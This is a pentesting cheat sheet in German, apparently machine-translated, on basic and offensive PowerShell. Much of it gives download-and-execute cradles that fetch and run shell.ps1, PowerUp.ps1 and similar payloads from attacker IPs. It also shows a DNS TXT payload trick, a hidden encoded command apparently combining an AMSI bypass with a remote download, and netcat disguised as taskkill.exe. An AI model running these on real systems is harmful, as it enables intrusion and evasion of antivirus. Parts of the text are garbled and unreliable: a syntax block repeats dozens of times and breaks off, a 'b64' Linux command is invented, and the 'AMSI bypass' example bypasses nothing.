Basic PowerShell for Pentesters

Lernen Sie AWS-Hacking von Null auf Heldenniveau mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Standard-PowerShell-Standorte

C:\windows\syswow64\windowspowershell\v1.0\powershell
C:\Windows\System32\WindowsPowerShell\v1.0\powershell

Grundlegende PS-Befehle zum Starten

PowerShell ist eine leistungsstarke Skriptsprache und Befehlszeilenschnittstelle, die in Windows-Betriebssystemen verwendet wird. Hier sind einige grundlegende PowerShell-Befehle, mit denen Sie beginnen können:

Get-Command

Der Befehl Get-Command wird verwendet, um eine Liste aller verfügbaren Befehle in PowerShell anzuzeigen. Dies kann Ihnen helfen, die verfügbaren Funktionen und Möglichkeiten zu erkunden.

Get-Command

Get-Help

Der Befehl Get-Help wird verwendet, um Hilfe zu einem bestimmten Befehl anzuzeigen. Sie können den Befehl Get-Help gefolgt vom Namen des Befehls eingeben, um detaillierte Informationen zu dessen Verwendung und Parametern zu erhalten.

Get-Help Get-Process

Get-Process

Der Befehl Get-Process wird verwendet, um Informationen über die laufenden Prozesse auf Ihrem System anzuzeigen. Sie können den Befehl einfach eingeben, um eine Liste der Prozesse und ihre zugehörigen Informationen anzuzeigen.

Get-Process

Get-Service

Der Befehl Get-Service wird verwendet, um Informationen über die auf Ihrem System ausgeführten Dienste anzuzeigen. Sie können den Befehl eingeben, um eine Liste der Dienste und ihre Statusinformationen anzuzeigen.

Get-Service

Get-EventLog

Der Befehl Get-EventLog wird verwendet, um Ereignisprotokolle auf Ihrem System anzuzeigen. Sie können den Befehl gefolgt von einem Ereignisprotokollnamen eingeben, um die entsprechenden Ereignisse anzuzeigen.

Get-EventLog -LogName System

Diese grundlegenden PowerShell-Befehle können Ihnen helfen, mit PowerShell zu beginnen und Ihre Kenntnisse und Fähigkeiten weiter auszubauen.

Get-Help * #List everything loaded
Get-Help process #List everything containing "process"
Get-Help Get-Item -Full #Get full helpabout a topic
Get-Help Get-Item -Examples #List examples
Import-Module <modulepath>
Get-Command -Module <modulename>

Herunterladen und Ausführen

In einigen Fällen möchten Sie möglicherweise eine Datei von einem Remote-Server herunterladen und auf Ihrem Zielcomputer ausführen. PowerShell bietet eine einfache Möglichkeit, dies zu erreichen.

Methode 1: Invoke-WebRequest und Invoke-Expression

Die erste Methode besteht darin, die Invoke-WebRequest-Funktion zu verwenden, um die Datei von einem Remote-Server herunterzuladen, und dann die Invoke-Expression-Funktion, um die heruntergeladene Datei auszuführen.

$url = "http://example.com/malicious-file.exe"
$output = "C:\Temp\malicious-file.exe"

Invoke-WebRequest -Uri $url -OutFile $output
Invoke-Expression -Command $output

Ersetzen Sie http://example.com/malicious-file.exe durch die URL der herunterzuladenden Datei und C:\Temp\malicious-file.exe durch den Pfad und den Dateinamen, unter dem die Datei gespeichert werden soll.

Methode 2: iex-Alias

Die zweite Methode besteht darin, den iex-Alias zu verwenden, um die Datei direkt herunterzuladen und auszuführen.

iex (New-Object Net.WebClient).DownloadString('http://example.com/malicious-script.ps1')

Ersetzen Sie http://example.com/malicious-script.ps1 durch die URL des auszuführenden Skripts.

Beachten Sie, dass das Ausführen von Dateien aus dem Internet ein Sicherheitsrisiko darstellt. Stellen Sie sicher, dass Sie nur vertrauenswürdige Quellen verwenden und die heruntergeladenen Dateien vor der Ausführung überprüfen.

g
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile - #From cmd download and execute
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex"
iex (iwr '10.10.14.9:8000/ipw.ps1') #From PSv3

$h=New-Object -ComObject Msxml2.XMLHTTP;$h.open('GET','http://10.10.14.9:8000/ipw.ps1',$false);$h.send();iex $h.responseText
$wr = [System.NET.WebRequest]::Create("http://10.10.14.9:8000/ipw.ps1") $r = $wr.GetResponse() IEX ([System.IO.StreamReader]($r.GetResponseStream())).ReadToEnd(

#https://twitter.com/Alh4zr3d/status/1566489367232651264
#host a text record with your payload at one of your (unburned) domains and do this:
powershell . (nslookup -q=txt http://some.owned.domain.com)[-1]

Hintergrund-Download und Ausführung mit AMSI-Bypass

Dieser Trick ermöglicht es Ihnen, eine Datei im Hintergrund herunterzuladen und auszuführen, während Sie den AMSI (Antimalware Scan Interface) umgehen. Der AMSI-Bypass ist eine Technik, die es Ihnen ermöglicht, schädlichen Code auszuführen, ohne von der Antivirensoftware erkannt zu werden.

Um diesen Trick anzuwenden, können Sie den folgenden PowerShell-Befehl verwenden:

$URL = "http://example.com/malicious-file.exe"
$FilePath = "C:\Temp\malicious-file.exe"
$WebClient = New-Object System.Net.WebClient
$WebClient.DownloadFile($URL, $FilePath)
Start-Process -FilePath $FilePath -WindowStyle Hidden

Ersetzen Sie "http://example.com/malicious-file.exe" durch die URL der schädlichen Datei, die Sie herunterladen möchten, und "C:\Temp\malicious-file.exe" durch den Pfad, an dem Sie die Datei speichern möchten.

Dieser Befehl lädt die Datei von der angegebenen URL herunter und speichert sie im angegebenen Pfad. Anschließend wird die Datei im Hintergrund ausgeführt, ohne ein sichtbares Fenster anzuzeigen.

Bitte beachten Sie, dass das Umgehen des AMSI und das Ausführen schädlicher Dateien illegal sein kann. Verwenden Sie diese Technik nur zu Bildungszwecken oder mit ausdrücklicher Genehmigung des Eigentümers des Systems, das Sie testen.

Start-Process -NoNewWindow powershell "-nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA="

Verwendung von b64 unter Linux

The b64 command is a useful tool for encoding and decoding data in Base64 format. It is commonly used in various scenarios, including penetration testing and data manipulation. In Linux, you can use the b64 command to perform these operations.

To encode data using b64, you can run the following command:

echo -n "data_to_encode" | b64

Replace data_to_encode with the actual data you want to encode. The -n option is used to prevent the echo command from appending a newline character.

To decode Base64-encoded data using b64, you can run the following command:

echo -n "encoded_data" | b64 -d

Replace encoded_data with the actual Base64-encoded data you want to decode. The -d option is used to specify the decoding operation.

By using the b64 command in Linux, you can easily encode and decode data in Base64 format for various purposes.

echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.31/shell.ps1')" | iconv -t UTF-16LE | base64 -w 0
powershell -nop -enc <BASE64_ENCODED_PAYLOAD>

Herunterladen

System.Net.WebClient

Die System.Net.WebClient-Klasse ermöglicht das Herunterladen von Dateien aus dem Internet. Sie kann verwendet werden, um Dateien von einer bestimmten URL herunterzuladen.

Syntax

$webClient = New-Object System.Net.WebClient
$webClient.DownloadFile($url, $outputPath)

Parameter

  • $url: Die URL der Datei, die heruntergeladen werden soll.

  • $outputPath: Der Pfad, an dem die heruntergeladene Datei gespeichert werden soll.

Beispiel

$webClient = New-Object System.Net.WebClient
$webClient.DownloadFile("https://example.com/file.txt", "C:\Downloads\file.txt")

In diesem Beispiel wird die Datei file.txt von der URL https://example.com/file.txt heruntergeladen und im Pfad C:\Downloads\file.txt gespeichert.

(New-Object Net.WebClient).DownloadFile("http://10.10.14.2:80/taskkill.exe","C:\Windows\Temp\taskkill.exe")

Invoke-WebRequest

Invoke-WebRequest ist ein Cmdlet in PowerShell, das verwendet wird, um HTTP-Anfragen an eine URL zu senden und die Antwort abzurufen. Es kann verwendet werden, um Webseiten herunterzuladen, Daten von APIs abzurufen oder sogar Webanwendungen zu testen.

Syntax

Invoke-WebRequest [-Uri] <Uri> [-Method <WebRequestMethod>] [-Headers <IDictionary>] [-Body <Object>] [-ContentType <String>] [-UserAgent <String>] [-Credential <PSCredential>] [-Proxy <Uri>] [-ProxyCredential <PSCredential>] [-UseBasicParsing] [-TimeoutSec <Int32>] [-SessionVariable <String>] [-WebSession <WebRequestSession>] [-MaximumRedirection <Int32>] [-DisableKeepAlive] [-SkipCertificateCheck] [-ProxyUseDefaultCredentials] [-ProxyBypassOnLocal] [-ProxyBypassList <String[]>] [-ProxyAuthentication <AuthenticationLevel>] [-ProxyAuthenticationMethod <AuthenticationMethod>] [-ProxyAuthenticationUseDefaultCredentials] [-ProxyAuthenticationCredential <PSCredential>] [-TransferEncoding <String>] [-DisableBuffering] [-OutVariable <String>] [-OutBuffer <Int32>] [-PassThru] [-UseDefaultCredentials] [-ContentType <String>] [-Proxy <Uri>] [-ProxyCredential <PSCredential>] [-ProxyUseDefaultCredentials] [-ProxyBypassOnLocal] [-ProxyBypassList <String[]>] [-ProxyAuthentication <AuthenticationLevel>] [-ProxyAuthenticationMethod <AuthenticationMethod>] [-ProxyAuthenticationUseDefaultCredentials] [-ProxyAuthenticationCredential <PSCredential>] [-TransferEncoding <String>] [-DisableBuffering] [-OutVariable <String>] [-OutBuffer <Int32>] [-PassThru] [-UseDefaultCredentials] [-Proxy <Uri>] [-ProxyCredential <PSCredential>] [-ProxyUseDefaultCredentials] [-ProxyBypassOnLocal] [-ProxyBypassList <String[]>] [-ProxyAuthentication <AuthenticationLevel>] [-ProxyAuthenticationMethod <AuthenticationMethod>] [-ProxyAuthenticationUseDefaultCredentials] [-ProxyAuthenticationCredential <PSCredential>] [-TransferEncoding <String>] [-DisableBuffering] [-OutVariable <String>] [-OutBuffer <Int32>] [-PassThru] [-UseDefaultCredentials] [-Proxy <Uri>] [-ProxyCredential <PSCredential>] [-ProxyUseDefaultCredentials] [-ProxyBypassOnLocal] [-ProxyBypassList <String[]>] [-ProxyAuthentication <AuthenticationLevel>] [-ProxyAuthenticationMethod <AuthenticationMethod>] [-ProxyAuthenticationUseDefaultCredentials] [-ProxyAuthenticationCredential <PSCredential>] [-TransferEncoding <String>] [-DisableBuffering] [-OutVariable <String>] [-OutBuffer <Int32>] [-PassThru] [-UseDefaultCredentials] [-Proxy <Uri>] [-ProxyCredential <PSCredential>] [-ProxyUseDefaultCredentials] [-ProxyBypassOnLocal] [-ProxyBypassList <String[]>] [-ProxyAuthentication <AuthenticationLevel>] [-ProxyAuthenticationMethod <AuthenticationMethod>] [-ProxyAuthenticationUseDefaultCredentials] [-ProxyAuthenticationCredential <PSCredential>] [-TransferEncoding <String>] [-DisableBuffering] [-OutVariable <String>] [-OutBuffer <Int32>] [-PassThru] [-UseDefaultCredentials] [-Proxy <Uri>] [-ProxyCredential <PSCredential>] [-ProxyUseDefaultCredentials] [-ProxyBypassOnLocal] [-ProxyBypassList <String[]>] [-ProxyAuthentication <AuthenticationLevel>] [-ProxyAuthenticationMethod <AuthenticationMethod>] [-ProxyAuthenticationUseDefaultCredentials] [-ProxyAuthenticationCredential <PSCredential>] [-TransferEncoding <String>] [-DisableBuffering] [-OutVariable <String>] [-OutBuffer <Int32>] [-PassThru] [-UseDefaultCredentials] [-Proxy <Uri>] [-ProxyCredential <PSCredential>] [-ProxyUseDefaultCredentials] [-ProxyBypassOnLocal] [-ProxyBypassList <String[]>] [-ProxyAuthentication <AuthenticationLevel>] [-ProxyAuthenticationMethod <AuthenticationMethod>] [-ProxyAuthenticationUseDefaultCredentials] [-ProxyAuthenticationCredential <PSCredential>] [-TransferEncoding <String>] [-DisableBuffering] [-OutVariable <String>] [-OutBuffer <Int32>] [-PassThru] [-UseDefaultCredentials] [-Proxy <Uri>] [-ProxyCredential <PSCredential>] [-ProxyUseDefaultCredentials] [-ProxyBypassOnLocal] [-ProxyBypassList <String[]>] [-ProxyAuthentication <AuthenticationLevel>] [-ProxyAuthenticationMethod <AuthenticationMethod>] [-ProxyAuthenticationUseDefaultCredentials] [-ProxyAuthenticationCredential <PSCredential>] [-TransferEncoding <String>] [-DisableBuffering] [-OutVariable <String>] [-OutBuffer <Int32>] [-PassThru] [-UseDefaultCredentials] [-Proxy <Uri>] [-ProxyCredential <PSCredential>] [-ProxyUseDefaultCredentials] [-ProxyBypassOnLocal] [-ProxyBypassList <String[]>] [-ProxyAuthentication <AuthenticationLevel>] [-ProxyAuthenticationMethod <AuthenticationMethod>] [-ProxyAuthenticationUseDefaultCredentials] [-ProxyAuthenticationCredential <PSCredential>] [-TransferEncoding <String>] [-DisableBuffering] [-OutVariable <String>] [-OutBuffer <Int32>] [-PassThru] [-UseDefaultCredentials] [-Proxy <Uri>] [-ProxyCredential <PSCredential>] [-ProxyUseDefaultCredentials] [-ProxyBypassOnLocal] [-ProxyBypassList <String[]>] [-ProxyAuthentication <AuthenticationLevel>] [-ProxyAuthenticationMethod <AuthenticationMethod>] [-ProxyAuthenticationUseDefaultCredentials] [-ProxyAuthenticationCredential <PSCredential>] [-TransferEncoding <String>] [-DisableBuffering] [-OutVariable <String>] [-OutBuffer <Int32>] [-PassThru] [-UseDefaultCredentials] [-Proxy <Uri>] [-ProxyCredential <PSCredential>] [-ProxyUseDefaultCredentials] [-ProxyBypassOnLocal] [-ProxyBypassList <String[]>] [-ProxyAuthentication <AuthenticationLevel>] [-ProxyAuthenticationMethod <AuthenticationMethod>] [-ProxyAuthenticationUseDefaultCredentials] [-ProxyAuthenticationCredential <PSCredential>] [-TransferEncoding <String>] [-DisableBuffering] [-OutVariable <String>] [-OutBuffer <Int32>] [-PassThru] [-UseDefaultCredentials] [-Proxy <Uri>] [-ProxyCredential <PSCredential>] [-ProxyUseDefaultCredentials] [-ProxyBypassOnLocal] [-ProxyBypassList <String[]>] [-ProxyAuthentication <AuthenticationLevel>] [-ProxyAuthenticationMethod <AuthenticationMethod>] [-ProxyAuthenticationUseDefaultCredentials] [-ProxyAuthenticationCredential <PSCredential>] [-TransferEncoding <String>] [-DisableBuffering] [-OutVariable <String>] [-OutBuffer <Int32>] [-PassThru] [-UseDefaultCredentials] [-Proxy <Uri>] [-ProxyCredential <PSCredential>] [-ProxyUseDefaultCredentials] [-ProxyBypassOnLocal] [-ProxyBypassList <String[]>] [-ProxyAuthentication <AuthenticationLevel>] [-ProxyAuthenticationMethod <AuthenticationMethod>] [-ProxyAuthenticationUseDefaultCredentials] [-ProxyAuthenticationCredential <PSCredential>] [-TransferEncoding <String>] [-DisableBuffering] [-OutVariable <String>] [-OutBuffer <Int32>] [-PassThru] [-UseDefaultCredentials] [-Proxy <Uri>] [-ProxyCredential <PSCredential>] [-ProxyUseDefaultCredentials] [-ProxyBypassOnLocal] [-ProxyBypassList <String[]>] [-ProxyAuthentication <AuthenticationLevel>] [-ProxyAuthenticationMethod <AuthenticationMethod>] [-ProxyAuthenticationUseDefaultCredentials] [-ProxyAuthenticationCredential <PSCredential>] [-TransferEncoding <String>] [-DisableBuffering] [-OutVariable <String>] [-OutBuffer <Int32>] [-PassThru] [-UseDefaultCredentials] [-Proxy <Uri>] [-ProxyCredential <PSCredential>] [-ProxyUseDefaultCredentials] [-ProxyBypassOnLocal] [-ProxyBypassList <String[]>] [-ProxyAuthentication <AuthenticationLevel>] [-ProxyAuthenticationMethod <AuthenticationMethod>] [-ProxyAuthenticationUseDefaultCredentials] [-ProxyAuthenticationCredential <PSCredential>] [-TransferEncoding <String>] [-DisableBuffering] [-OutVariable <String>] [-OutBuffer <Int32>] [-PassThru] [-UseDefaultCredentials] [-Proxy <Uri>] [-ProxyCredential <PSCredential>] [-ProxyUseDefaultCredentials] [-ProxyBypassOnLocal] [-ProxyBypassList <String[]>] [-ProxyAuthentication <AuthenticationLevel>] [-ProxyAuthenticationMethod <AuthenticationMethod>] [-ProxyAuthenticationUseDefaultCredentials] [-ProxyAuthenticationCredential <PSCredential>] [-TransferEncoding <String>] [-DisableBuffering] [-OutVariable <String>] [-OutBuffer <Int32>] [-PassThru] [-UseDefaultCredentials] [-Proxy <Uri>] [-ProxyCredential <PSCredential>] [-ProxyUseDefaultCredentials] [-ProxyBypassOnLocal] [-ProxyBypassList <String[]>] [-ProxyAuthentication <AuthenticationLevel>] [-ProxyAuthenticationMethod <AuthenticationMethod>] [-ProxyAuthenticationUseDefaultCredentials] [-ProxyAuthenticationCredential <PSCredential>] [-TransferEncoding <String>] [-DisableBuffering] [-OutVariable <String>] [-OutBuffer <Int32>] [-PassThru] [-UseDefaultCredentials] [-Proxy <Uri>] [-ProxyCredential <PSCredential>] [-ProxyUseDefaultCredentials] [-ProxyBypassOnLocal] [-ProxyBypassList <String[]>] [-ProxyAuthentication <AuthenticationLevel>] [-ProxyAuthenticationMethod <AuthenticationMethod>] [-ProxyAuthenticationUseDefaultCredentials] [-ProxyAuthenticationCredential <PSCredential>] [-TransferEncoding <String>] [-DisableBuffering] [-OutVariable <String>] [-OutBuffer <Int32>] [-PassThru] [-UseDefaultCredentials] [-Proxy <Uri>] [-ProxyCredential <PSCredential>] [-ProxyUseDefaultCredentials] [-ProxyBypassOnLocal] [-ProxyBypassList <String[]>] [-ProxyAuthentication <AuthenticationLevel>] [-ProxyAuthenticationMethod <AuthenticationMethod>] [-ProxyAuthenticationUseDefaultCredentials] [-ProxyAuthenticationCredential <PSCredential>] [-TransferEncoding <String>] [-DisableBuffering] [-OutVariable <String>] [-OutBuffer <Int32>] [-PassThru] [-UseDefaultCredentials] [-Proxy <Uri>] [-ProxyCredential <PSCredential>] [-ProxyUseDefaultCredentials] [-ProxyBypassOnLocal] [-ProxyBypassList <String[]>] [-ProxyAuthentication <AuthenticationLevel>] [-ProxyAuthenticationMethod <AuthenticationMethod>] [-ProxyAuthenticationUseDefaultCredentials] [-ProxyAuthenticationCredential <PSCredential>] [-TransferEncoding <String>] [-DisableBuffering] [-OutVariable <String>] [-OutBuffer <Int32>] [-PassThru] [-UseDefaultCredentials] [-Proxy <Uri>] [-ProxyCredential <PSCredential>] [-ProxyUseDefaultCredentials] [-ProxyBypassOnLocal] [-ProxyBypassList <String[]>] [-ProxyAuthentication <AuthenticationLevel>] [-ProxyAuthenticationMethod <AuthenticationMethod>] [-ProxyAuthenticationUseDefaultCredentials] [-ProxyAuthenticationCredential <PSCredential>] [-TransferEncoding <String>] [-DisableBuffering] [-OutVariable <String>] [-OutBuffer <Int32>] [-PassThru] [-UseDefaultCredentials] [-Proxy <Uri>] [-ProxyCredential <PSCredential>] [-ProxyUseDefaultCredentials] [-ProxyBypassOnLocal] [-ProxyBypassList <String[]>] [-ProxyAuthentication <AuthenticationLevel>] [-ProxyAuthenticationMethod <AuthenticationMethod>] [-ProxyAuthenticationUseDefaultCredentials] [-ProxyAuthenticationCredential <PSCredential>] [-TransferEncoding <String>] [-DisableBuffering] [-OutVariable <String>] [-OutBuffer <Int32>] [-PassThru] [-UseDefaultCredentials] [-Proxy <Uri>] [-ProxyCredential <PSCredential>] [-ProxyUseDefaultCredentials] [-ProxyBypassOnLocal] [-ProxyBypassList <String[]>] [-ProxyAuthentication <AuthenticationLevel>] [-ProxyAuthenticationMethod <AuthenticationMethod>] [-ProxyAuthenticationUseDefaultCredentials] [-ProxyAuthenticationCredential <PSCredential>] [-TransferEncoding <String>] [-DisableBuffering] [-OutVariable <String>] [-OutBuffer <Int32>] [-PassThru] [-UseDefaultCredentials] [-Proxy <Uri>] [-ProxyCredential <PSCredential>] [-ProxyUseDefaultCredentials] [-ProxyBypassOnLocal] [-ProxyBypassList <String[]>] [-ProxyAuthentication <AuthenticationLevel>] [-ProxyAuthenticationMethod <AuthenticationMethod>] [-ProxyAuthenticationUseDefaultCredentials] [-ProxyAuthenticationCredential <PSCredential>] [-TransferEncoding <String>] [-DisableBuffering] [-OutVariable <String>] [-OutBuffer <Int32>] [-PassThru] [-UseDefaultCredentials] [-Proxy <Uri>] [-ProxyCredential <PSCredential>] [-ProxyUseDefaultCredentials] [-ProxyBypassOnLocal] [-ProxyBypassList <String[]>] [-ProxyAuthentication <AuthenticationLevel>] [-ProxyAuthenticationMethod <AuthenticationMethod>] [-ProxyAuthenticationUseDefaultCredentials] [-ProxyAuthenticationCredential <PSCredential>] [-TransferEncoding <String>] [-DisableBuffering] [-OutVariable <String>] [-OutBuffer <Int32>] [-PassThru] [-UseDefaultCredentials] [-Proxy <Uri>] [-ProxyCredential <PSCredential>] [-ProxyUseDefaultCredentials] [-ProxyBypassOnLocal] [-ProxyBypassList <String[]>] [-ProxyAuthentication <AuthenticationLevel>] [-ProxyAuthenticationMethod <AuthenticationMethod>] [-ProxyAuthenticationUseDefaultCredentials] [-ProxyAuthenticationCredential <PSCredential>] [-TransferEncoding <String>] [-DisableBuffering] [-OutVariable <String>] [-OutBuffer <Int32>] [-PassThru] [-UseDefaultCredentials] [-Proxy <Uri>] [-ProxyCredential <PSCredential>] [-ProxyUseDefaultCredentials] [-ProxyBypassOnLocal] [-ProxyBypassList <String[]>] [-ProxyAuthentication <AuthenticationLevel>] [-ProxyAuthenticationMethod <AuthenticationMethod>] [-ProxyAuthenticationUseDefaultCredentials] [-ProxyAuthenticationCredential <PSCredential>] [-TransferEncoding <String>] [-DisableBuffering] [-OutVariable <String>] [-OutBuffer <Int32>] [-PassThru] [-UseDefaultCredentials] [-Proxy <Uri>] [-ProxyCredential <PSCredential>] [-ProxyUseDefaultCredentials] [-ProxyBypassOnLocal] [-ProxyBypassList <String[]>] [-ProxyAuthentication <AuthenticationLevel>] [-ProxyAuthenticationMethod <AuthenticationMethod>] [-ProxyAuthenticationUseDefaultCredentials] [-ProxyAuthenticationCredential <PSCredential>] [-TransferEncoding <String>] [-DisableBuffering] [-OutVariable <String>] [-OutBuffer <Int32>] [-PassThru] [-UseDefaultCredentials] [-Proxy <Uri>] [-ProxyCredential <PSCredential>] [-ProxyUseDefaultCredentials] [-ProxyBypassOnLocal] [-ProxyBypassList <String[]>] [-ProxyAuthentication <AuthenticationLevel>] [-ProxyAuthenticationMethod <AuthenticationMethod>] [-ProxyAuthenticationUseDefaultCredentials] [-ProxyAuthenticationCredential <PSCredential>] [-TransferEncoding <String>] [-DisableBuffering] [-OutVariable <String>] [-OutBuffer <Int32>] [-PassThru] [-UseDefaultCredentials] [-Proxy <Uri>] [-ProxyCredential <PSCredential>] [-ProxyUseDefaultCredentials] [-ProxyBypassOnLocal] [-ProxyBypassList <String[]>] [-ProxyAuthentication <AuthenticationLevel>] [-ProxyAuthenticationMethod <AuthenticationMethod>] [-ProxyAuthenticationUseDefaultCredentials] [-ProxyAuthenticationCredential <PSCredential>] [-TransferEncoding <String>] [-DisableBuffering] [-OutVariable <String>] [-OutBuffer <Int32>] [-PassThru] [-UseDefaultCredentials] [-Proxy <Uri>] [-ProxyCredential <PSCredential>] [-ProxyUseDefaultCredentials] [-ProxyBypassOnLocal] [-ProxyBypassList <String[]>] [-ProxyAuthentication <AuthenticationLevel>] [-ProxyAuthenticationMethod <AuthenticationMethod>] [-ProxyAuthenticationUseDefaultCredentials] [-ProxyAuthenticationCredential <PSCredential>] [-TransferEncoding <String>] [-DisableBuffering] [-OutVariable <String>] [-OutBuffer <Int32>] [-PassThru] [-UseDefaultCredentials] [-Proxy <Uri>] [-ProxyCredential <PSCredential>] [-ProxyUseDefaultCredentials] [-ProxyBypassOnLocal] [-ProxyBypassList <String[]>] [-ProxyAuthentication <AuthenticationLevel>] [-ProxyAuthenticationMethod <AuthenticationMethod>] [-ProxyAuthenticationUseDefaultCredentials] [-ProxyAuthenticationCredential <PSCredential>] [-TransferEncoding <String>] [-DisableBuffering] [-OutVariable <String>] [-OutBuffer <Int32>] [-PassThru] [-UseDefaultCredentials] [-Proxy <Uri>] [-ProxyCredential <PSCredential>] [-ProxyUseDefaultCredentials] [-ProxyBypassOnLocal] [-ProxyBypassList <String[]>] [-ProxyAuthentication <AuthenticationLevel>] [-ProxyAuthenticationMethod <AuthenticationMethod>] [-ProxyAuthenticationUseDefaultCredentials] [-ProxyAuthenticationCredential <PSCredential>] [-TransferEncoding <String>] [-DisableBuffering] [-OutVariable <String>] [-OutBuffer <Int32>] [-PassThru] [-UseDefaultCredentials] [-Proxy <Uri>] [-ProxyCredential <PSCredential>] [-ProxyUseDefaultCredentials] [-ProxyBypassOnLocal] [-ProxyBypassList <String[]>] [-ProxyAuthentication <AuthenticationLevel>] [-ProxyAuthenticationMethod <AuthenticationMethod>] [-ProxyAuthenticationUseDefaultCredentials] [-ProxyAuthenticationCredential <PSCredential>] [-TransferEncoding <String>] [-DisableBuffering] [-OutVariable <String>] [-OutBuffer <Int32>] [-PassThru] [-UseDefaultCredentials] [-Proxy <Uri>] [-ProxyCredential <PSCredential>] [-ProxyUseDefaultCredentials] [-ProxyBypassOnLocal] [-ProxyBypassList <String[]>] [-ProxyAuthentication <AuthenticationLevel>] [-ProxyAuthenticationMethod <AuthenticationMethod>] [-ProxyAuthenticationUseDefaultCredentials] [-ProxyAuthenticationCredential <PSCredential>] [-TransferEncoding <String>] [-DisableBuffering] [-OutVariable <String>] [-OutBuffer <Int32>] [-PassThru] [-UseDefaultCredentials] [-Proxy <Uri>] [-ProxyCredential <PSCredential>] [-ProxyUseDefaultCredentials] [-ProxyBypassOnLocal] [-ProxyBypassList <String[]>] [-ProxyAuthentication <AuthenticationLevel>] [-ProxyAuthenticationMethod <AuthenticationMethod>] [-ProxyAuthenticationUseDefaultCredentials] [-ProxyAuthenticationCredential <PSCredential>] [-TransferEncoding <String>] [-DisableBuffering] [-OutVariable <String>] [-OutBuffer <Int32>] [-PassThru] [-UseDefaultCredentials] [-Proxy <Uri>] [-ProxyCredential <PSCredential>] [-ProxyUseDefaultCredentials] [-ProxyBypassOnLocal] [-ProxyBypassList <String[]>] [-ProxyAuthentication <AuthenticationLevel>] [-ProxyAuthenticationMethod <AuthenticationMethod>] [-ProxyAuthenticationUseDefaultCredentials] [-ProxyAuthenticationCredential <PSCredential>] [-TransferEncoding <String>] [-DisableBuffering] [-OutVariable <String>] [-OutBuffer <Int32>] [-PassThru] [-UseDefaultCredentials] [-Proxy <Uri>] [-ProxyCredential <PSCredential>] [-ProxyUseDefaultCredentials] [-ProxyBypassOnLocal] [-ProxyBypassList <String[]>] [-ProxyAuthentication <AuthenticationLevel>] [-ProxyAuthenticationMethod <AuthenticationMethod>] [-ProxyAuthenticationUseDefaultCredentials] [-ProxyAuthenticationCredential <P
```powershell
Invoke-WebRequest "http://10.10.14.2:80/taskkill.exe" -OutFile "taskkill.exe"

Wget

Wget is a command-line utility that allows you to retrieve files from the web using HTTP, HTTPS, and FTP protocols. It is commonly used for downloading files, mirroring websites, and recursive downloading. Wget is available for various operating systems, including Windows.

To use Wget, you need to open a command prompt or PowerShell window and enter the appropriate command. Here are some common examples:

  • Download a file:

wget <URL>
  • Download a file and save it with a different name:

wget -O <output_file> <URL>
  • Download a file and continue an interrupted download:

wget -c <URL>
  • Download an entire website:

wget -r <URL>
  • Download files from a list of URLs:

wget -i <file_with_urls>

Wget also supports various options and parameters that allow you to customize the download process. You can refer to the Wget documentation for more information on these options.

Keep in mind that while Wget is a useful tool, it can also be misused for unauthorized activities. Always ensure that you have proper authorization and follow ethical guidelines when using Wget or any other hacking tool.

wget "http://10.10.14.2/nc.bat.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe"

BitsTransfer

BitsTransfer ist ein PowerShell-Modul, das es ermöglicht, Dateien über das Background Intelligent Transfer Service (BITS) herunterzuladen oder hochzuladen. BITS ist ein Windows-Dienst, der für die Übertragung von Dateien im Hintergrund verantwortlich ist und eine unterbrechungsfreie Übertragung ermöglicht, selbst wenn die Verbindung vorübergehend unterbrochen wird.

Herunterladen von Dateien mit BitsTransfer

Um eine Datei mit BitsTransfer herunterzuladen, verwenden Sie den Befehl Start-BitsTransfer. Geben Sie die URL der Datei an, die Sie herunterladen möchten, sowie den Pfad, an dem Sie die Datei speichern möchten. Sie können auch den Parameter -Asynchronous verwenden, um den Download im Hintergrund auszuführen.

Start-BitsTransfer -Source "https://example.com/file.txt" -Destination "C:\Downloads\file.txt"

Hochladen von Dateien mit BitsTransfer

Um eine Datei mit BitsTransfer hochzuladen, verwenden Sie den Befehl Start-BitsTransfer. Geben Sie den Pfad der Datei an, die Sie hochladen möchten, sowie die URL oder den Pfad des Zielservers. Sie können auch den Parameter -Asynchronous verwenden, um den Upload im Hintergrund auszuführen.

Start-BitsTransfer -Source "C:\Uploads\file.txt" -Destination "https://example.com/upload"

Überwachen von BitsTransfer-Jobs

Sie können den Fortschritt von BitsTransfer-Jobs überwachen, indem Sie den Befehl Get-BitsTransfer verwenden. Dieser Befehl zeigt Informationen zu allen laufenden BitsTransfer-Jobs an, einschließlich des Fortschritts, der Dateigröße und des Status.

Get-BitsTransfer

Zusammenfassung

